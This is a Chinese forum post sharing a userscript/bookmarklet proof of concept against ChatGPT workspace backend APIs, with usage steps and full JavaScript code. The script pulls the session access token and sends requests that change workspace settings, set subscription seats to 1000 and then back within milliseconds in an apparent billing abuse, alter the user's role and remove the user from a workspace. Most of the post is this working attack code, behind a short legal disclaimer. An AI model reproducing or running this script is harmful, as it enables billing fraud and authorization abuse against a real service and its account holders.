GTP{999席位焚决}百分百炸车《只是学习他脚本和思路》

注意炸弹车将

100%会在1-8h内弹出账单炸车——必定损失20刀。如果想了解详细情况,可以看doc

使用方式:

打开文件:/Downloads/message (2).txt,油猴脚本也行

复制里面完整内容,必须从:

javascript:(async()=>...

一直复制到最后。

浏览器新建书签:

名称随便填,比如:WDD测试
网址/URL 填刚才复制的整段 javascript:...
打开并登录目标网页,例如 ChatGPT 网页。
注意:不要在 localhost:5180 运行,这个脚本调用的是当前网页域名下的:

/api/auth/session
/backend-api/...

所以必须在对应登录站点页面执行。

登录后点击刚才创建的书签。
页面右上角会出现一个浮层:WDD-配置与越权
按钮含义:

Quick(单):修改当前选中 workspace 的配置。
Quick(全):批量修改所有可见 workspace 配置。
Onboard(单):标记当前 workspace onboarding 已完成。
Onboard(全):批量标记 onboarding。
席位 1000→n:尝试把席位改成 1000,再改回小数量。这个是最危险的测试点。
Owner 转 Admin:尝试修改当前用户角色。
强行退出工作区:尝试把当前用户从 workspace 删除。
建议测试方式:

先开浏览器开发者工具。
切到 Network。
勾选 Preserve log。
点击脚本按钮。
看接口返回:
401/403:权限不够,漏洞不成立。
200/204:请求成功。
成功后还要刷新页面确认状态是否真的变化。
不要先点这两个:

席位 1000→n
强行退出工作区

poc

// ==UserScript==
// @name         ChatGPT Workspace Admin (WDD)
// @namespace    https://github.com/wdd
// @version      1.0.0
// @description  ChatGPT 工作区配置与越权管理工具 — Quick配置、Onboard标记、席位修改、角色降级、强制退出
// @author       WDD
// @match        https://chatgpt.com/*
// @match        https://chat.openai.com/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=chatgpt.com
// @grant        none
// @run-at       document-end
// ==/UserScript==

(function() {
    'use strict';

    if (window.w3b) return;
    window.w3b = 1;

    let tk = '',
        ws = '',
        ac = [];

    const rq = async (u, o = {}, s = ws) => {
        if (!tk) tk = (await (await fetch('/api/auth/session')).json()).accessToken;
        let r = await fetch(u, {
            ...o,
            headers: {
                ...o.headers,
                authorization: 'Bearer ' + tk,
                'content-type': 'application/json',
                'chatgpt-account-id': s
            }
        });
        if (!r.ok) throw await r.text();
        return r.json().catch(() => ({}));
    };

    const u = document.createElement('div');
    u.style.cssText = 'position:fixed;top:20px;right:20px;width:300px;background:#f9f9f9;border:1px solid #ddd;padding:15px;z-index:9e5;box-shadow:0 5px 15px rgba(0,0,0,.2);border-radius:10px;font-size:12px;color:#333';
    u.innerHTML = '<b>WDD-配置与越权</b><button id=xb style="float:right;cursor:pointer">✕</button><br><br><select id=wsb style="width:100%;margin-bottom:10px;padding:4px"></select><div style="display:grid;grid-template-columns:1fr 1fr;gap:6px"><button id=qc>Quick(单)</button><button id=qa>Quick(全)</button><button id=oc>Onboard(单)</button><button id=oa>Onboard(全)</button><button id=s1>席位 1000→n</button><button id=oa2>Owner 转 Admin</button><button id=lv style="color:red;grid-column:span 2">强行退出工作区</button></div><div id=mb style="margin-top:10px;color:#16a34a;max-height:100px;overflow:auto;font-weight:bold">等待指令...</div>';
    document.body.appendChild(u);

    const $ = id => document.getElementById(id),
        msg = (t, a = 0) => {
            $('mb').style.color = t.includes('FAIL') ? '#ef4444' : '#16a34a';
            $('mb').innerHTML = a ? $('mb').innerHTML + '<br>' + t : t;
            $('mb').scrollTop = $('mb').scrollHeight;
        };

    $('xb').onclick = () => {
        u.remove();
        window.w3b = 0;
    };

    rq('/backend-api/accounts/check/v4-2023-04-27?timezone_offset_min=0').then(d => {
        ac = Object.entries(d.accounts || {}).map(([i, a]) => ({ id: i, a }));
        let h = '';
        ac.forEach(x => h += `<option value="${x.id}">${x.a.account?.name || x.id}</option>`);
        $('wsb').innerHTML = h;
        ws = $('wsb').value;
        msg('就绪');
    });

    $('wsb').onchange = e => ws = e.target.value;

    const qs = async (s) => {
        for (let k of ['workspace_discoverable', 'auto_accept_requests', 'auto_provision'])
            await rq(`/backend-api/accounts/${s}/settings/${k}`, {
                method: 'POST',
                body: JSON.stringify(k === 'workspace_discoverable' ? { value: !0, use_workspace_name_for_discovery: !0 } : { value: !0 })
            }, s);
    };

    $('qc').onclick = async () => {
        try {
            msg('Quick配置中...');
            await qs(ws);
            msg('Quick完成');
        } catch (e) {
            msg('FAIL:' + e);
        }
    };

    $('qa').onclick = async () => {
        msg('批量Quick...');
        for (let x of ac) {
            if (x.a.account?.account_id) {
                try {
                    await qs(x.a.account.account_id);
                    msg(`OK:${x.id}`, 1);
                } catch (e) {
                    msg(`FAIL:${e}`, 1);
                }
            }
        }
    };

    const ob = async (s) => {
        for (let k of ['oai/apps/hasSeenOnboarding', 'oai/apps/hasSeenOnboardingFlow'])
            await rq(`/backend-api/settings/announcement_viewed?announcement_id=${k}`, { method: 'POST' }, s);
    };

    $('oc').onclick = async () => {
        try {
            msg('标记Onboard...');
            await ob(ws);
            msg('Onboard完成');
        } catch (e) {
            msg('FAIL:' + e);
        }
    };

    $('oa').onclick = async () => {
        msg('批量Onboard...');
        for (let x of ac) {
            if (x.a.account?.account_id) {
                try {
                    await ob(x.a.account.account_id);
                    msg(`OK:${x.id}`, 1);
                } catch (e) {
                    msg(`FAIL:${e}`, 1);
                }
            }
        }
    };

    $('s1').onclick = async () => {
        try {
            msg('获取席位...');
            let d = await rq(`/backend-api/subscriptions?account_id=${ws}`, {}, ws);
            let t = d.seats_entitled + 1;
            if (t > 5) return msg('FAIL:当前席位>5不执行');
            await rq('/backend-api/subscriptions/update', { method: 'POST', body: JSON.stringify({ account_id: ws, updated_seats: 1000 }) }, ws);
            setTimeout(async () => {
                await rq('/backend-api/subscriptions/update', { method: 'POST', body: JSON.stringify({ account_id: ws, updated_seats: t }) }, ws);
                msg('席位修改完成:1000->' + t, 1);
            }, 15);
            msg('已触发修改');
        } catch (e) {
            msg('FAIL:' + e);
        }
    };

    $('oa2').onclick = async () => {
        try {
            msg('请求降级...');
            let u = (await (await fetch('/api/auth/session')).json()).user.id;
            await rq(`/backend-api/accounts/${ws}/users/${u}`, { method: 'PATCH', body: JSON.stringify({ role: 'account-admin' }) }, ws);
            msg('Patch请求已发');
        } catch (e) {
            msg('FAIL:' + e);
        }
    };

    $('lv').onclick = async () => {
        if (!confirm('确定强制退出?')) return;
        try {
            msg('发起退出...');
            let u = (await (await fetch('/api/auth/session')).json()).user.id;
            await rq(`/backend-api/accounts/${ws}/users/${u}`, { method: 'DELETE' }, ws);
            msg('请求已发,请刷新');
        } catch (e) {
            msg('FAIL:' + e);
        }
    };
})();

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。